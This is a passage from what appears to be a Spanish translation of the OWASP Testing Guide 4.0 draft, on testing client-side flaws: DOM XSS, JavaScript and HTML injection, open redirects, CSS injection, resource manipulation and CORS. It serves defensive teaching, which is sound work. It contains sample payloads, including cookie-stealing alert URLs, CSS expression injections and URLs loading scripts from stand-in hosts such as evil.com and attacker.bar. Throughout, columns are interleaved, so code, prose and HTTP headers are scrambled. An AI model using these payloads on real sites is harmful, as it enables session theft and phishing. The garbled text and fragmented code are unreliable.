navegador, este se ejecuta directamente en el navegador del usuario sin contacto del servidor.

Las consecuencias de las fallas XSS basadas en DOM son tan extensas como las vistas en formas más conocidas de XSS, incluyendo la recuperación de la cookie, inyección de scripts maliciosos, etc. y, por lo tanto, deben ser tratadas con la misma importancia.

Prueba de Caja Negra Cómo probar No todos los errores XSS requieren que el atacante controle el contenido devuelto por el servidor, pero también puede abusar de las prácticas de una codificación JavaScript pobre para lograr los mismos resultados. Las consecuencias son las mismas que un fallo XSS típico, sólo que los medios de entrega son diferentes. En comparación con otras vulnerabilidades de cross site scripting (XSS reflejados y almacenados) donde un parámetro no desinfectado se pasa al servidor, es devuelto al usuario y se ejecuta en el contexto del navegador del usuario, una vulnerabilidad XSS basada en DOM controla el flujo del código mediante el uso de elementos del Modelo de Objeto del Documento (DOM) junto con el código creado por el atacante para cambiar el flujo.

Debido a su naturaleza, las vulnerabilidades XSS basadas en DOM pueden realizarse, en muchos casos, sin que el servidor pueda determinar lo que realmente está ejecutándose. Esto hace que muchas de las técnicas de filtración y detección general de XSS sean impotentes a este tipo de ataques.

La prueba de Caja Negra para XSS basado en DOM no se realiza habitualmente, ya que el acceso al código fuente siempre está disponible y debe enviarse al cliente para que se ejecute.

Prueba de Caja Gris Probando las vulnerabilidades de XSS basadas en DOM: Las aplicaciones JavaScript difieren significativamente de otros tipos de aplicaciones, ya que se generan a menudo de manera dinámica por el servidor y, para entender qué código está siendo ejecutado, el sitio web que estamos probando debe ser rastreado para determinar todas las instancias de ejecución de JavaScript donde se aceptan ingresos del usuario. Muchos sitios web se apoyan en grandes librerías de funciones, que a menudo se extienden en cientos de miles de líneas de código y no se han desarrollado en la empresa. En estos casos, la prueba de arriba para abajo se convierte en la única opción viable, puesto que nunca se usan muchas funciones de nivel inferior, y analizarlas para determinar cuáles son sinks utiliza más tiempo del disponible. Lo mismo se puede decir también de las pruebas de arriba hacia abajo si la entradas o falta de ellas no se identifican.

El primer ejemplo hipotético utiliza el siguiente código del lado cliente: <script>

El ingreso del usuario viene en dos formas principalmente:

document.write(“Site is at: “ + document.location.href + “.”);

• Entradas escritas en la página por el servidor, de una manera que no permite XSS directo. • Entradas obtenidas de objetos JavaScript del lado del cliente.

Un atacante puede anexar # <script>alert(‘xss’) a la URL de la página afectada que, cuando se ejecuta, mostrará el cuadro de alerta. En este caso, el código anexado no se enviaría al servidor como todo lo que está después del carácter # que no se trata como parte de la consulta por parte del navegador, sino como un fragmento.

Estos son dos ejemplos de cómo el servidor puede insertar datos en JavaScript: var data = “”; var result = someFunction(“”);

En este ejemplo, el código se ejecuta inmediatamente y aparece una alerta de "xss" en la página. A diferencia de los tipos más comunes de cross site scripting (almacenado y reflejado) en que se envía el código al servidor y luego al

Y aquí están dos ejemplos de entrada de objetos de JavaScript del lado del cliente:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 295

Guia de pruebas 4.0 "Borrador"

var data = window.location;

{ document.write(“You are using an unknown browser.”);

var result = someFunction(window.referer); } Aunque hay poca diferencia con el código JavaScript en cómo se recuperan, es importante tener en cuenta que cuando la entrada es recibida por el servidor, el servidor puede aplicar cualquier permutación a los datos que desea, mientras que las permutaciones realizadas por objetos de JavaScript son bastante claras y documentadas y, si es así, someFunction en el ejemplo anterior fuera un sink, entonces la explotabilidad del primero dependería de la filtración realizada por el servidor, mientras que el segundo dependería de la codificación realizada por el explorador en el objeto window.referer.

Stefano Di Paulo ha escrito un excelente artículo sobre lo que los navegadores devuelven cuando se les pregunta por los distintos elementos de una dirección URL que utiliza los atributos del documento. y la ubicación. Además, JavaScript se ejecuta a menudo fuera de bloques <script>, según lo evidenciado por los muchos vectores que han llevado a evadir los filtros XSS en el pasado y. por lo tanto, al rastrear la aplicación, es importante tener en cuenta el uso de scripts en lugares como controladores de eventos y bloques CSS con atributos de expresión. También tenga en cuenta que cualquier sitio fuera del CSS u objetos de script tendrán que evaluarse para determinar qué código está ejecutándose. Una prueba automatizada tiene muy poco éxito en la identificación y validación de XSS basado en DOM, que generalmente identifica XSS al enviar una carga específica y observar la respuesta del servidor. Esto puede funcionar bien en el ejemplo simple proporcionado a continuación, donde el parámetro de mensaje se refleja de vuelta al usuario:



Por esta razón, las pruebas automatizadas no detectarán las áreas susceptibles a XSS basado en DOM, a menos que la herramienta de prueba pueda realizar un análisis adicional del código del lado cliente.

Las pruebas manuales, por lo tanto, deben llevarse a cabo y pueden realizarse examinando las áreas en el código donde se conocen los parámetros que pueden ser utiles para un atacante. Los ejemplos de estas zonas incluyen lugares donde el código está escrito dinámicamente a la página y en otros lugares donde el DOM se modifica, o incluso donde los scripts se ejecutan directamente. Otros ejemplos son descritos en el excelente artículo de DOM XSS por Amit Klein, al que se hace referencia al final de esta sección.

Referencias Recursos OWASP • DOM based XSS Prevention Cheat Sheet

<script> Libros Blancos var pos=document.URL.indexOf(“message=”)+5;

• Document Object Model (DOM: en.wikipedia.org

document.write(document.URL.substring(pos,document.URL.length));

• DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein: webappsec.org

pero no puede ser detectada en el siguiente caso artificial: <script>

• Browser location/document URI/URL Sources: code.google.com

var navAgt = navigator.userAgent; Prueba de la ejecución de JavaScript (OTG-CLIENT-002) if (navAgt.indexOf(“MSIE”)!=-1) { document.write(“You are using IE as a browser and visiting site: “ + document.location.href + “.”); }

Resumen Una vulnerabilidad de inyección de JavaScript es un subtipo de Cross Site Scripting (XSS) que implica la capacidad para inyectar código JavaScript arbitrario que ejecuta la aplicación dentro del navegador de la víctima.

else

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 296

Guia de pruebas 4.0 "Borrador"

Esta vulnerabilidad puede tener muchas consecuencias, como la divulgación de las cookies de sesión de un usuario, que podría ser utilizada para suplantar la identidad de la víctima o, más generalmente, puede permitir al atacante modificar el contenido de la página vista por la víctima o el comportamiento de la aplicación.

La página contiene los siguientes scripts: <script> function loadObj(){ var cc=eval(‘(‘+aMess+’)’);

Cómo probar document.getElementById(‘mess’).textContent=cc.message; Esta vulnerabilidad se produce cuando la aplicación carece de una validación adecuada de entradas y salidas del usuario. JavaScript se utiliza para rellenar dinámicamente las páginas web. Esta inyección se produce durante esta fase de procesamiento de contenido y, en consecuencia, afecta a la víctima.

}

if(window.location.hash.indexOf(‘message’)==-1) Cuando se trata de explotar este tipo de cuestiones, considere que algunos caracteres reciben un trato diferente en los diferentes navegadores. Para referencia, vea el Wiki de DOM XSS.

var aMess=”({\”message\”:\”Hello User!\”})”; else var aMess=location.hash.substr(window.location.hash.indexOf(‘message=’)+8);

El siguiente script no realiza ninguna validación de la variable rr que contiene la entrada del usuario a través de la cadena de consulta y, además, no se aplica ningún tipo de codificación:



Prueba de Caja Negra

El código anterior contiene una fuente 'location.hash' que está controlada por el atacante, quien puede inyectar directamente en el valor de 'mensaje' un código JavaScript para tomar el control del navegador del usuario.

var rr = location.search.substring(1); if(rr) Referencias window.location=decodeURIComponent(rr); Recursos OWASP Esto implica que un atacante podría inyectar código JavaScript simplemente enviando la siguiente cadena de consulta: www.victim.com/?javascript:alert(1)

• DOM based XSS Prevention Cheat Sheet • DOMXSS.com: domxss.com

La prueba de Caja Negra para ejecución en JavaScript no suele realizarse ya que el acceso al código fuente siempre está disponible, y necesita ser enviado al cliente para ser ejecutado.

Libros Blancos • Browser location/document URI/URL Sources: codegoogle.com

Pruebas de Caja Gris Prueba de inyección HTML (OTG-CLIENT-003) Prueba de las vulnerabilidades de ejecución de JavaScript: Resumen Por ejemplo, mirando la siguiente URL: http://www.domxss.com/domxss/01_Basics/04_eval.html

La inyección HTML es un tipo de inyección que se produce cuando un usuario es capaz de controlar un punto de entrada y puede inyectar código HTML arbitrario en una página web vulnerable. Esta vulnerabilidad puede tener muchas consecuencias, como la divulgación de las cookies de sesión de un usuario que podrían ser utilizadas para suplantar

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 297

Guia de pruebas 4.0 "Borrador"

la identidad de la víctima o, más comúnmente, puede permitir al atacante modificar el contenido de la página vista por las víctimas.

añadirá una etiqueta de imagen a la página que se ejecutará un código JavaScript arbitrario introducido por el usuario malintencionado en el contexto HTML.

Cómo probar

Pruebas de Caja Negra

Esta vulnerabilidad se produce cuando el ingreso del usuario no está correctamente desinfectado y la salida no está codificada. Una inyección permite al atacante enviar una página HTML maliciosa a una víctima. El navegador de destino no será capaz de distinguir (confiar) entre la parte legítima y la maliciosa y, en consecuencia, analiza y ejecuta todo como confiable en el contexto de la víctima. Hay una amplia gama de métodos y atributos que podrían ser utilizados para representar el contenido HTML. Si a estos métodos se les provee un ingreso no confiable, entonces hay un riesgo alto de XSS, específicamente una inyección HTML. Se puede inyectar un código HTML malicioso, por ejemplo, mediante innerHTML, que se utiliza para representar el código HTML ingresado por el usuario. Si las cadenas no se desinfectan correctamente, el problema llevaría a una inyección HTML basada en XSS. Otro método podría ser document.write()

Las pruebas de Caja Negra mediante inyección HTML normalmente no se realizan, puesto que el acceso al código fuente siempre está disponible y necesita ser enviado al cliente para su ejecución.

Pruebas de Caja Gris Probando las vulnerabilidades de inyección HTML: Por ejemplo, mirando el siguiente URL: http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html

Cuando se trata de explotar este tipo de problema, considere que algunos caracteres reciben un trato diferente en los diferentes navegadores. Para referencia ver la Wiki de DOM XSS. La propiedad innerHTML establece o devuelve el código HTML interno de un elemento. La falta de desinfección en ingresos no confiables y la falta de codificación en los datos de salida podría permitir a un atacante inyectar código HTML malintencionado.

El código HTML contiene el siguente script: <script src=”../js/jquery-1.7.1.js”> <script>

Ejemplo de código vulnerable: El siguiente ejemplo muestra un fragmento de código vulnerable que permite que una entrada no validada sea utilizada para crear html dinámico en el contexto de la página:

function setMessage(){

var userposition=location.href.indexOf(“user=”);

$(“div[id=”+t+”]”).text(“The DOM is now loaded and can be manipulated.”);

var user=location.href.substring(userposition+5);

}

document.getElementById(“Welcome”).innerHTML=” Hello, “+user;

$(document).ready(setMessage );

var t=location.hash.slice(1);

$(window).bind(“hashchange”,setMessage) De la misma manera, en el siguiente ejemplo se muestra un código vulnerable mediante la función document.write():

<script src=”../js/embed.js”>

var userposition=location.href.indexOf(“user=”); var user=location.href.substring(userposition+5); document.write(“

Hello, “ + user +”

”);

En ambos ejemplos, un ingreso como el siguiente : http://vulnerable.site/page.html?user=

Show Here

Showing Message1

Show Here

Showing Message2

Show Here

Showing Message3

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 298

Guia de pruebas 4.0 "Borrador"

Es posible inyectar código HTML.

La víctima que visita target.site será redireccionada automáticamente a un fake-target.site donde un atacante podría colocar una página falsa para robar las credenciales de la víctima.

Referencias Recursos OWASP • OWASP DOM based XSS Prevention Cheat Sheet

Además, también podrían utilizarse redireccionamientos abiertos para crear maliciosamente una URL que evite el control de acceso a la aplicación y luego envíe al atacante hacia funciones privilegiadas a las que normalmente no debería poder acceder.

• DOMXSS.com: domxss.com

Prueba de Caja Negra Libros Blancos • Browser location/document URI/URL Sources:

La prueba de Caja Negra para el redireccionamiento de URL del lado del cliente no suele realizarse ya que el acceso al código fuente siempre está disponible, y necesita enviarse al cliente para su ejecución.

code.google.com

Prueba de Caja Gris Pruebas de redireccionamiento de la URL del lado del cliente (OTGCLIENT-004)

Probando las vulnerabilidades de redireccionamiento de URL del lado del cliente:

Resumen Esta sección describe cómo comprobar el redireccionamiento de URL del lado cliente, también conocido como redirección abierta. Es un error de validación de entrada que se da cuando una aplicación acepta un ingreso controlado por el usuario, que especifica un enlace que lleva a una URL externa. Este tipo de vulnerabilidad podría utilizarse para realizar un ataque de phishing o redirigir a una víctima a una página de infección.

Cuando los evaluadores deben revisar manualmente esta vulnerabilidad, deben identificar si hay redireccionamientos implementados en el código del lado del cliente (por ejemplo en el código JavaScript).

Estas redirecciones podrían aplicarse, por ejemplo en JavaScript, utilizando el objeto de "window.location" que puede usarse para llevar al navegador a otra página asignando una cadena, como se puede ver en el siguiente fragmento de código.

Cómo probar var redir = location.hash.substring(1); Esta vulnerabilidad se produce cuando una aplicación acepta un ingreso no confiable que contiene un valor de URL sin desinfectar. Este valor de URL podría causar que la aplicación web redireccione al usuario a otra página como, por ejemplo, una página maliciosa controlada por el atacante.

if (redir)

Modificando la URL de entrada no confiable para redirigir a un usuario hacia un sitio malicioso, un atacante puede lanzar una estafa de phishing con éxito y robar las credenciales del usuario. Ya que la redirección se origina en la aplicación real, los intentos de phishing pueden tener un aspecto más confiable.

En el ejemplo anterior, la secuencia de comandos no realiza ninguna validación de la variable "redir" que contiene la entrada del usuario a través de la cadena de consulta y, al mismo tiempo, no se aplica ningún tipo de codificación. Esta entrada no validada se pasa a las ventanas. El objeto de localización origina una vulnerabilidad de redirección de URL.

Un ejemplo de un ataque de phishing puede ser el siguiente:

Esto implica que un atacante podría redirigir a la víctima hacia un sitio malicioso, simplemente enviando la siguiente cadena de consulta:

window.location=’http://’+decodeURIComponent(redir);

http://www.target.site?#redirect=www.fake-target.site http://www.victim.site/?#www.malicious.site

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 299

Guia de pruebas 4.0 "Borrador"

Resumen Note como si el código vulnerable es el siguiente: var redir = location.hash.substring(1); if (redir) window.location=decodeURIComponent(redir);

También sería posible inyectar código JavaScript, por ejemplo, al enviar la siguiente cadena de consulta: http://www.victim.site/?#javascript:alert(document.cookie)

Cuando trate de comprobar este tipo de problema, considere que algunos caracteres reciben un trato diferente en los distintos navegadores. Ademá,s siempre considere la posibilidad de probar variantes absolutas de direcciones URL como se describe aquí: kotowicz.net

Herramientas • DOMinator: dominator.mindedsecurity.com

Una vulnerabilidad de inyección de CSS implica la capacidad de inyectar código CSS arbitrario en el contexto de un sitio web de confianza que se mostrará en el navegador de la víctima. El impacto de esta vulnerabilidad puede variar en función de la carga CSS suministrada: podría causar un CrossSite Scripting en circunstancias particulares, al robar datos realizando una extracción de los datos confidenciales o modificaciones de la interfaz del usuario.

Cómo probar Esta vulnerabilidad se produce cuando la aplicación permite a un usuario suministrar CSS generado por el usuario o, si es posible, de alguna manera, interferir con las hojas de estilo legítimas. Inyectar código en el contexto CSS da al atacante la posibilidad de ejecutar JavaScript bajo ciertas condiciones, así como extraer los valores sensibles a través de selectores CSS y funciones capaces de generar las solicitudes HTTP. Dar a los usuarios la posibilidad de personalizar sus propias páginas personales mediante el uso de archivos CSS personalizados resulta un riesgo considerable y se debe evitar definitivamente.

El siguiente código JavaScript muestra un posible script vulnerable en el que el atacante puede controlar la "location.hash" (fuente) que alcanza a la función "cssText" (sink). Este caso en particular puede causar un DOMXSS en las versiones más antiguas de los navegadores, como Opera, Internet Explorer y Firefox. Para referencia, vea la Wiki de DOM XSS, sección "Estilo de sink". Click me

Referencias <script> OWASP Resources • OWASP DOM based XSS Prevention Cheat Sheet

if (location.hash.slice(1)) { document.getElementById(“a1”).style.cssText location.hash.slice(1);

• DOMXSS.com: domxss.com

=

“color:

“

+

}

Libros Blancos • Browser location/document URI/URL Sources: code.google.com

• Krzysztof Kotowicz: “Local or Externa? Weird URL formats on the loose”: kotowicz.net

El atacante podría específicamente apuntar a la víctima pidiéndole que visite las siguientes direcciones URL:

• www.victim.com/#red;-o-link:’javascript:alert(1)’;-o-linksource:current; (Opera [8,12]) • www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)

Pruebas de inyección de CSS (OTG-CLIENT-005)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 300

Guia de pruebas 4.0 "Borrador"

La misma vulnerabilidad puede aparecer en el caso típico de reflejo XSS en la que, por ejemplo, el código PHP se verá como el siguiente:

Hi <script>

Algunos escenarios de ataque mucho más interesantes incluyen la posibilidad de extraer los datos mediante la adopción de reglas CSS puras. Este tipo de ataques puede realizarse a través de selectores CSS y direccionando al usuario, por ejemplo, si se toma fichas anti-CSRF, como a continuación. En particular, input[name=csrf_token][value=^a] representa un elemento con el atributo "name" ajustado con "csrf_token" y cuyo "value" (valor) de atributo comienza con "a". Mediante la detección de la longitud del atributo "value", es posible llevar a cabo un ataque de fuerza bruta contra este y enviar el valor al dominio del atacante.

Ataques mucho más modernos que utilizan una combinación de SVG, CSS y HTML5 han demostrado ser más viables, por lo tanto, le recomendamos consultar la sección de referencias para obtener más información.

Se recomienda que los evaluadores utilicen la función de jQuery css(property, value) en tales circunstancia,s como a continuación, ya que esto no permitiría ninguna inyección dañina. En general, recomendamos usar siempre una lista blanca de caracteres permitidos en cualquier momento que se refleje el ingreso en el contexto de la CSS. Click me Hi

Prueba de Caja Negra

<script> $(“a”).click(function(){

Nos referimos a las pruebas desde el lado del cliente, por lo tanto, las pruebas de Caja Negra no suelen realizarse ya que el acceso al código fuente siempre está disponible, y necesita ser enviado al cliente para su ejecución. Sin embargo, puede suceder que al usuario se le dé un cierto grado de libertad para poder suministrar código HTML; en ese caso, es necesario comprobar si es posible realizar inyecciones de CSS. Etiquetas como "link" y "style" deben prohibirse.



Prueba de Caja Gris

Referencias

$(“b”).css(“color”,location.hash.slice(1)); });

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 301

Guia de pruebas 4.0 "Borrador"

Recursos OWASP • OWASP DOM based XSS Prevention Cheat Sheet

Esta vulnerabilidad se produce cuando la aplicación emplea un URL controlado por el usuario para hacer referencia a recursos externos/internos. En estas circunstancias, es posible interferir con el comportamiento esperado de la aplicación, en el sentido de hacer que cargue y procese objetos maliciosos.

• DOMXSS Wiki: code.google.com

Presentaciones • DOM Xss Identification and Exploitation, Stefano Di Paola: dominator.googlecode.com

El siguiente código JavaScript muestra un posible script vulnerable en el que el atacante es capaz de controlar la "location.hash" (fuente) que alcanza al atributo "src" de un elemento script. Este ejemplo en particular obviamente lleva a un XSS, ya que un JavaScript externo podría ser fácilmente inyectado en el sitio web de confianza. <script> var d=document.createElement(“script”);

• Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich: youtube.com

if(location.hash.slice(1)) d.src = location.hash.slice(1); document.body.appendChild(d);

• Bypassing Content-Security-Policy, Alex Kouzemtchenko:



ruxcon.org

Prueba de conceptos

Específicamente el atacante podría apuntar a la víctima pidiéndole que visite la siguiente URL:

• Password “cracker” via CSS and HTML5: html5sec.org

www.victim.com/#http://evil.com/js.js

• CSS attribute reading: eaea.sirdarckcat.net

Donde js.js contiene: alert(document.cookie)

Pruebas de la manipulación de recursos del lado del cliente (OTGCLIENT-006) Resumen Una vulnerabilidad de manipulación de recursos del lado del cliente es un error de validación de los ingresos que se producen cuando una aplicación acepta las entradas controladas por un usuario que especifica la ruta hacia un recurso (por ejemplo, la fuente de un iframe, js, applet o el controlador de un XMLHttpRequest). Específicamente, esta vulnerabilidad consiste en la capacidad para controlar las direcciones URL que vinculan a algunos recursos presentes en una página web. El impacto puede variar en función del tipo de elemento de la URL controlada por el atacante y, generalmente, se adopta para llevar a cabo ataques fr Cross-Site Scripting.

Controlar las fuentes de scripts es un ejemplo básico, puesto que pueden ocurrir algunos otros casos interesantes y más sutiles. Un escenario generalizado implica la posibilidad de controlar la dirección URL con una solicitud CORS; puesto que CORS permite que el recurso de destino sea accesible por el dominio que lo solicita a través de un acercamiento basado en encabezados, entonces el atacante puede pedir a la página de destino que cargue contenido malicioso en su propio sitio web.

Refiérase al siguiente código vulnerable: <script>

Cómo probar

function createCORSRequest(method, url) {

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 302

Guia de pruebas 4.0 "Borrador"

var xhr = new XMLHttpRequest(); xhr.open(method, url, true);

Pruebas de Caja Gris

xhr.onreadystatechange = function () {

Probando las vulnerabilidades para la manipulación de recursos del cliente:

if (this.status == 200 && this.readyState == 4) { document.getElementById(‘p’).innerHTML = this.responseText; } };

Para comprobar manualmente este tipo de vulnerabilidad, tenemos que identificar si la aplicación utiliza entradas que no son validadas correctamente; éstas están bajo el control del usuario, quien podría especificar la url de algunos recursos. Puesto que hay muchos recursos que se podrían incluir en la aplicación (por ejemplo, imágenes, vídeo, objetos, CSS, marcos, etc.), los scripts a nivel del cliente que manejan las URL asociadas deben ser investigadas para detectar posibles problemas.

return xhr; } La siguiente tabla muestra los posibles puntos de inyección (sink) que deberían revisarse: var xhr = createCORSRequest(‘GET’, location.hash.slice(1)); xhr.send(null);

La "location.hash" es controlada por el atacante y se utiliza para solicitar un recurso externo, el cual se refleja a través de la construcción de "innerHTML". Básicamente, el atacante podría pedir a la víctima que visite la siguiente dirección URL y, al mismo tiempo, él podría diseñar el controlador de carga útil.

Aproveche la URL: www.victim.com/#http://evil.com/html.html http://evil.com/html.html ----

Los puntos más interesantes son los que permiten a un atacante incluir el código del cliente (por ejemplo Javascript), ya que esto podría dar lugar a vulnerabilidades XSS.



Cuando trate de comprobar este tipo de problema, considere que algunos caracteres son tratados de manera diferente por diferentes navegadores. Por otra parte, siempre tenga en cuenta la posibilidad de probar variantes absolutas URL, como se describe aquí: http://kotowicz.net/absolute/

<script>alert(document.cookie);

Herramientas Pruebas de Caja Negra Las pruebas de Caja Negra para la manipulación de recursos del cliente, por lo general, no se realizan, ya que el acceso al código fuente está siempre disponible puesto que tiene que ser enviado al cliente para ser ejecutado.

• DOMinator: dominator.mindedsecurity.com

Referencias

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 303

Guia de pruebas 4.0 "Borrador"

Recursos de OWASP

Basándose en el resultado de la solicitud de OPTIONS, el navegador decide si se permite o no la solicitud.

• OWASP DOM based XSS Prevention Cheat Sheet

Cómo probar • DOMXSS.com: domxss.com Origin & Access-Control-Allow-Origin

• DOMXSS TestCase: domxss.com

Libros Blancos • DOM XSS Wiki: code.google.com

• Krzysztof Kotowicz: “Local or Externo? ocal o externo? URL raro en formatos sueltos ": kotowicz.net

El encabezado Origin siempre se envía por el navegador en una solicitud CORS e indica el origen de la solicitud. El encabezado de origen no se puede cambiar desde JavaScript, aunque confiar en este encabezado para comprobar los accesos de control no es una buena idea, ya que puede ser falsificado fuera del navegador, por lo que aún se necesita comprobar que los protocolos del nivel de la aplicación se utilizan para proteger datos sensibles.

Access-Control-Allow-Origin es un encabezado de respuesta utilizado por el servidor para indicar qué dominios tienen permiso para leer la respuesta. En base a la especificación CORS W3, depende del cliente determinar y hacer cumplir la restricción si él tiene acceso a los datos de respuesta basados en este encabezado.

Pruebas para el intercambio el intercambio de recursos de origen cruzado (OTG-CLIENT-007) Resumen La prueba de intercambio de recursos de origen cruzado o CORS es un mecanismo que permite a un navegador web realizar peticiones de "cross-domain" que utiliza la API XMLHttpRequest L2 de una manera controlada. En el pasado, la API XMLHttpRequest L1 sólo permitía que las solicitudes se enviaran dentro del mismo origen, ya que estaba restringida por la política del mismo origen.

Las solicitudes de origen cruzado tienen un encabezado de origen que identifica el dominio que inicia la petición y siempre se envía al servidor. CORS define el protocolo a utilizar entre un navegador web y un servidor para determinar si se permite una solicitud de origen cruzado. Con el fin de lograr este objetivo, hay algunos encabezados HTTP que participan en este proceso,. que son compatibles con todos los navegadores que se detallan a continuación e incluyen:: Origen, Acceso-Control-SolicitudMétodo, Acceso-Control-Solicitud-Encabezados, Acceso-Control-PermisoOrigen, Acceso-Control-Permiso-Credenciales, Acceso-Control-PermisoMétodos, Acceso-Control-Permiso-Encabezados.

Desde una perspectiva de pruebas de penetración, usted debe buscar configuraciones inseguras, tales como, por ejemplo, usar un comodín '*' como el valor del encabezado Access-Control-Allow-Origin que significa que todos los dominios están permitidos. Otro ejemplo de configuraciones inseguras es cuando el servidor devuelve el encabezado de origen sin ninguna comprobación adicional, lo que puede conducir al acceso a datos sensibles. Tenga en cuenta que esta configuración es muy insegura y no es aceptable en términos generales, excepto en el caso de una API pública que está destinada a ser accesible para todos.

Método Access-Control-Request & MétodoAccess-Control-Allow El encabezado del Access-Control-Request-Method se utiliza cuando un navegador realiza una solicitud de verificación previa de OPTIONS y permite que el cliente indique el método para la solicitud final. Por otro lado, el Access-Control-Allow-Method es un encabezado de respuesta que utiliza el servidor para describir los métodos que los clientes están autorizados a utilizar.

Encabezados Access-Control-Request-Headers & Access-Control-Allow Los mandatos de especificación CORS para las solicitudes no simples, como por ejemplo las solicitudes que no sean GET o POST o las solicitudes que utilizan credenciales, deben enviar una solicitud previa de OPTIONS para comprobar si el tipo de solicitud tendrá un impacto negativo en los datos. La solicitud previa al mandato comprueba los métodos, los encabezados permitidos por el servidor y si se permiten las credenciales.

Estos dos encabezados se utilizan entre el navegador y el servidor para determinar qué encabezados se pueden utilizar para realizar una solicitud de origen cruzado.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 304

Guia de pruebas 4.0 "Borrador"

Access-Control-Allow-Credentials Este encabezado, como parte de una solicitud previa al mandato, indica que la solicitud definitiva puede incluir las credenciales de usuario.

Solicitud (note el encabezado de "Origen" :) GET http://attacker.bar/test.php HTTP/1.1 Host: attacker.bar

Validación de entradas La XMLHttpRequest L2 (o XHR L2) introduce la posibilidad de crear una solicitud entre dominios mediante la API XHR para la compatibilidad en retrospectiva. Esto puede introducir vulnerabilidades de seguridad que en XHR L1 no estaban presentes. Los puntos interesantes del código para explotar serían las URL que son pasadas a XMLHttpRequest sin validación, especialmente si las direcciones absolutas URL son permitidas, ya que podrían conducir a la inyección del código. Del mismo modo, otras partes de la aplicación pueden ser explotadas si los datos de respuesta no se escapan y podemos controlarlos proporcionando los datos de entrada dados por el usuario.

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://example.foo/CORSexample1.html Origin: http://example.foo Connection: keep-alive

Otros encabezados Hay otros encabezados involucrados como el de Access-Control-Max-Age que determina el tiempo en que una solicitud de verificación previa puede almacenar en caché en el navegador, o el de Access-Control-ExposeHeaders que indica qué encabezados son seguros para exponer a la API de una especificación API CORS. Ambos son encabezados de respuesta especificados en el documento del CORS W3C.

Respuesta (note el encabezado ‘Access-Control-Allow-Origin’:) HTTP/1.1 200 OK Date: Mon, 07 Oct 2013 18:57:53 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.4-14+deb7u3

Pruebas de Caja Negra

Access-Control-Allow-Origin: *

Las pruebas de Caja Negra para encontrar temas relacionados con el intercambio de recursos de origen cruzado, por lo general, no se realizan debido a que el acceso al código fuente está siempre disponible, ya que tiene que ser enviado al cliente para ser ejecutado.

Content-Length: 4 Keep-Alive: timeout=15, max=99 Connection: Keep-Alive Content-Type: application/xml

Pruebas de Caja Gris Revise los encabezados HTTP con el fin de entender cómo se utiliza CORS; en particular, debemos estar muy interesados en el encabezado de origen para aprender qué dominios se permiten. Además, la inspección manual del JavaScript es necesaria para determinar si el código es vulnerable a la inyección de código debido a una manipulación incorrecta de la entrada proporcionada por el usuario. A continuación se presentan algunos ejemplos:

[Response Body]

Ejemplo 2: Problema de validación de entrada, XSS con CORS: Este código hace una solicitud al recurso enviado después del carácter # en la URL, utilizado inicialmente para obtener recursos en el mismo servidor.

Ejemplo 1: Respuesta insegura con el comodín '*' en Access-ControlAllow-Origin: Código vulnerable:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 305

Guia de pruebas 4.0 "Borrador"

<script>

var req = new XMLHttpRequest();

Ahora, ya que no hay una validación de la URL, se puede inyectar un script remoto, que se inyecta y se ejecutará en el contexto del example.foo domain, con una URL como ésta: http://example.foo/main.php#http://attacker.bar/file.php

req.onreadystatechange = function() { Por ejemplo, una petición como ésta mostrará el contenido del archivo profile.php:

Solicitud y respuesta generada por esta URL: GET http://attacker.bar/file.php HTTP/1.1

http://example.foo/main.php#profile.php Host: attacker.bar

Solicitud y respuesta generada por esta URL:

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0

GET http://example.foo/profile.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Host: example.foo

Accept-Language: en-US,en;q=0.5

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0

Referer: http://example.foo/main.php Origin: http://example.foo

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Connection: keep-alive Accept-Language: en-US,en;q=0.5 Referer: http://example.foo/main.php HTTP/1.1 200 OK Connection: keep-alive Date: Mon, 07 Oct 2013 19:00:32 GMT Server: Apache/2.2.22 (Debian) HTTP/1.1 200 OK X-Powered-By: PHP/5.4.4-14+deb7u3 Date: Mon, 07 Oct 2013 18:20:48 GMT Access-Control-Allow-Origin: * Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding X-Powered-By: PHP/5.3.3-7+squeeze17 Content-Length: 92 Vary: Accept-Encoding Keep-Alive: timeout=15, max=100 Content-Length: 25 Connection: Keep-Alive Keep-Alive: timeout=15, max=99 Content-Type: text/html Connection: Keep-Alive Content-Type: text/html

Injected Content from attacker.bar

[Response Body]

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 306

Guia de pruebas 4.0 "Borrador"

particular, dado que las aplicaciones Flash a menudo se incrustan en los navegadores, las vulnerabilidades como las basadas en DOM para CrossSite Scripting (XSS) podrían estar presentes en las aplicaciones Flash defectuosas.

Cómo probar Desde la primera publicación de "Probando las aplicaciones Flash" [1], las nuevas versiones de Flash Player se publicaron con el fin de mitigar algunos de los ataques que se describirán. Sin embargo, algunas cuestiones todavía son aprovechables, ya que son el resultado de prácticas inseguras de programación. Herramientas • OWASP Zed Attack Proxy (ZAP): owasp.org

